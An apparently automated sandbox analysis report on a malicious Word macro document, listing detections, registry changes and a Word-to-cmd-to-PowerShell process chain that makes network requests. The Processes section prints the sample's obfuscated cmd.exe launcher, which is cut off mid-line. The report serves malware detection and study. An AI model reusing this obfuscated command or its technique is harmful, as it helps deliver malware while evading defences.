Malware Analysis Report

2024-10-24 21:48

Sample ID 240520-hyya1shf6s
Target 5dcad7b1c0dca174dbd586e30b37045e_JaffaCakes118
SHA256 2074aa67a1a9dd4573a5fd34359e9a0b551faff26cb55f4f67593036944adcd5
Tags
macro macro_on_action
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2074aa67a1a9dd4573a5fd34359e9a0b551faff26cb55f4f67593036944adcd5

Threat Level: Known bad

The file 5dcad7b1c0dca174dbd586e30b37045e_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

Office macro that triggers on suspicious action

Process spawned suspicious child process

An obfuscated cmd.exe command-line is typically used to evade detection.

Drops file in Windows directory

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Enumerates system info in registry

Modifies registry class

Suspicious behavior: AddClipboardFormatListener

Checks processor information in registry

Modifies Internet Explorer settings

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-20 07:09

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-20 07:09

Reported

2024-05-20 07:11

Platform

win7-20240508-en

Max time kernel

118s

Max time network

118s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5dcad7b1c0dca174dbd586e30b37045e_JaffaCakes118.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

An obfuscated cmd.exe command-line is typically used to evade detection.

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\MenuExt C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2224 wrote to memory of 2256 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 2224 wrote to memory of 2256 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 2224 wrote to memory of 2256 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 2224 wrote to memory of 2256 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 2224 wrote to memory of 2696 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\cmd.exe
PID 2224 wrote to memory of 2696 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\cmd.exe
PID 2224 wrote to memory of 2696 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\cmd.exe
PID 2224 wrote to memory of 2696 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\cmd.exe
PID 2696 wrote to memory of 900 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2696 wrote to memory of 900 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2696 wrote to memory of 900 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2696 wrote to memory of 900 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5dcad7b1c0dca174dbd586e30b37045e_JaffaCakes118.doc"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /V^:^oN^ /c "^se^T ^ ^ ^ R^0=^LF^M^A^z^K^P^G^Q^Sw^zkDS^P^aOFb^tKvl^3R^d^6=^i^5^2^u-N^q^h8^E^Xr^YCm9^gs^jo^f^ VHJ7cneT^0^Bp^y^1^W^U^4IZ&&^FOR %^S ^IN ( 6^1^ 48^ ^ ^1^0^ 57^ ^40 ^4^6 ^ ^ ^36^ ^ ^5^7^ ^23 2^3 ^ 50^ ^3^3 ^57 50 53^ ^ ^3^ 60 ^ ^ ^15 3^ ^ ^ ^3^8^ ^ ^48 ^ ^3 55^ ^3^ ^3 ^ ^4^4 ^3 ^7 ^ 66^ ^3^ ^68^ 8 6^0^ 2^4^ 3^ ^4^2 5^9 ^ ^ 3 ^ ^1^9^ 10^ ^ ^60^ ^ ^ 29 ^ ^3 ^ ^ 7^ ^ ^ 48^ ^ 3^ ^68 ^8^ 60 47 ^ 3^ ^ ^5^2^ ^ ^ 8 3^ ^6^7 ^ 3 ^60 1^7 ^ ^ ^ ^3 ^7^ ^6^5 ^3^ ^ ^2^6 ^ ^3 ^ ^ 3 ^ ^ 3^2^ ^ 3 ^ ^18^ ^ 55^ 3^ ^ ^ 6^8 8^ 6^0^ ^ ^2^9 ^ ^ 3 38 ^ 2^ 3 1^9^ ^ ^ 3^ ^ 60 6^1 3^ ^ 7 ^6^5^ 3 ^19 4^5 60 ^ 59 ^ 3^ ^ ^1^3 ^46^ ^3^ ^ 5^3^ 3 ^60^ ^ 2^7 ^ ^ ^3 ^18^ 12^ 3 ^ ^1^6 ^ ^45^ ^ 3^ ^44^ ^3^ ^4^2^ ^ 55^ 3 ^ ^ 1^6^ ^3 ^ 60^ 59^ 3 52 ^ ^ 8^ 3^ 55 ^3 ^ ^3^ ^27^ ^ ^ ^3 4^2 3^7^ ^3^ ^0 1^0 ^ 6^0^ ^35 ^ ^ ^3^ ^ ^7^ ^3^7^ 3 ^ ^ 4^1^ 4^5^ ^60 ^ ^ 3^6 ^3^ 5^2^ ^67^ ^3 ^4^1 45 6^0^ ^36 ^3^ ^ 4^2^ ^ ^66 3^ ^ ^ ^4^1^ ^10^ ^60^ ^ ^22^ 3 ^7 ^ ^ 5^9 ^ 3 ^0 ^ ^ 1^0 ^60^ ^2^4 ^3^ ^ 5^2 3^ 3 ^ ^ 0^ 8 ^ 60^ ^47 ^ ^3 ^ 7 ^ ^37 3^ 1^9 4^5^ 6^0 ^ ^ ^ 59^ 3 ^ ^7 ^ ^ ^ ^6^5 ^ 3 ^19 ^4^5^ ^60^ ^ ^ 5^9^ ^ 3 ^4^2^ 37^ ^3 ^68^ 3^ ^60^ 1^1^ 3^ ^ ^ 5^2 ^8 3^ 6^8 ^45^ ^ ^3 ^31^ ^3^ ^3^8^ 3^ 3^ 1^6^ 3 ^6^0^ ^ 59^ ^ ^3^ 5^2 ^8 ^ 3 ^5^5 3^ 3^ ^ ^ 27 3 ^ 42^ ^ ^37 ^3 ^ 0^ ^1^0 ^ ^ 6^0 ^ ^46^ ^3 ^7^ ^ 12^ 3 6^8 ^10 6^0 48 ^3^ ^ ^52 ^ 8^ 3^ ^ 4^1^ 4^5^ ^ 60 ^ ^ ^ 22 ^ ^ 3 ^5^2 ^4^5 ^ ^3 ^0^ ^4^5 ^6^0^ ^ ^ 46 ^ ^ ^3^ 7^ 67 ^ ^ 3^ ^ 6^8 ^3^ 6^0 2^3 ^ ^3^ 5^2 4^1^ 